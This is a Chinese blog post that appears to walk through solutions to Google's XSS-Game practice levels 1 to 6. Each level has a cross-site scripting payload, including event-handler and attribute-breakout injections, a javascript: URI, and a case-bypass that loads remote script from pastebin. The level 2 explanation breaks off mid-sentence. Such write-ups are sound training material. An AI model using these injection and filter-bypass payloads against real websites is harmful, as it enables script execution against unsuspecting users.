XSS-Game 解题记录

题目链接:https://xss-game.appspot.com

Level 1

level 1 比较简单,get方法传入的query参数会直接在b标签中输出。

1
2
payload
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>

Level 2

level 2 是一个留言板,输入的内容会发布在一个

1
2
3
```
payload
<img src='' onerror='alert(1)'>

Level 3

Level 3 中传入的参数带入到了img标签中的src里,那么这里可以闭合src再引入新的事件触发xss。
这里需要注意的是src是由双引号闭合的,但是传入双引号却无法闭合,传入单引号会闭合。

1
2
3

payload
https://xss-game.appspot.com/level3/frame#3' onerror='alert(1)'

Level 4

这个题目中,传入的内容会被作为一个时间函数的参数,而这个函数是由img标签中onload事件触发的,那么思路便是将调用的函数闭合,再引入我们需要执行的代码。
onload中可以执行多条语句,中间以;分隔,注意这里我们传入的分号要进行url编码

1
2
payload
https://xss-game.appspot.com/level4/frame?timer=');alert('1

Level 5

这个题目中a标签中的href是用户可控的,href默认是解析url,但是我们可以指定为javascript执行。

1
2
payload 
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Level 6

这个题目可以使应用程序请求成为外部文件,调用远程js代码,虽然其过滤了https,但是没有考虑大写情况。
这里使用一个在线远程文件服务器。https://pastebin.com/

1
2
3
payload

https://xss-game.appspot.com/level6/frame#htTps://pastebin.com/raw/EuYL4VC8

本文标题:XSS-Game 解题记录

文章作者:boogle

发布时间:2018年04月21日 - 15:41

最后更新:2019年03月07日 - 11:38

原始链接:https://zhengbao.wang/XSS-Game-解题记录/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗